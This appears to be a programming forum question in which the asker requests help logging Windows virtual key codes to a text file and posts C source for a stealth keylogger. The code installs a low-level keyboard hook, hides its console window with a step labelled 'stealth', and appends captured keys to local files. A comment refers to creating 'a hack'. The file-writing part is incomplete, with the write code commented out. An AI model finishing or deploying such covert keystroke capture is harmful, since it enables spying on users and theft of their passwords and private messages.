VirtualKeyCode

i need to save VirtualKeyCode in text file in c how can i make this ?

#include <windows.h>
#include <stdio.h>
#include <conio.h>


HHOOK _hook;
int i;
// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.

int log1(char s1[])
{
  FILE* file = fopen("key.txt", "a+");
  int i = 0;
  fputs(s1, file);
  i++;
  if (i == 50)
  {
  fputc('\n', file);
  i = 0;
  }
  fclose(file);
}



KBDLLHOOKSTRUCT kbdStruct;

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
  DWORD VirtualKeycode;
  char c;
  
  
  if (nCode >= 0)
  {
  // the action is valid: HC_ACTION.
  if (wParam == WM_KEYDOWN)
  {
  // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
  kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
  // a key (non-system) is pressed.
  VirtualKeycode =kbdStruct.vkCode;
  //-------------------------------------------
  if ((VirtualKeycode >=39) && (VirtualKeycode <= 64))
  {
  
  
  //  FILE *file;
  //  file=fopen("vx.txt","a+");
  //  fprintf(file,"%s",char(VirtualKeycode));
  //  fprintf(file,"%s"," ");
  //  fclose(file);
  }
  
  }
  }

  // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
  return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
  // Set the hook and set it to use the callback function above
  // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
  // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
  // function that sets and releases the hook. If you create a hack you will not need the callback function
  // in another place then your own code file anyway. Read more about it at MSDN.
  if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
  {
  // MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
  }
}

void ReleaseHook()
{
  UnhookWindowsHookEx(_hook);
}




int  main ()
{
int i;
HWND stealth; /*creating stealth (window is not visible)*/
  AllocConsole();
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
FILE *file;
file=fopen("vx.txt","a+");
fprintf(file,"%s","Begin of Log");
fprintf(file,"%s"," ");
fclose(file);
SetHook();

  // Don't mind this, it is a meaningless loop to keep a console application running.
  // I used this to test the keyboard hook functionality. If you want to test it, keep it in ;)
  MSG msg;
  while (GetMessage(&msg, NULL, 0, 0)!=0)
  {
  TranslateMessage(&msg);
  DispatchMessage(&msg);
  }


return 0;
}

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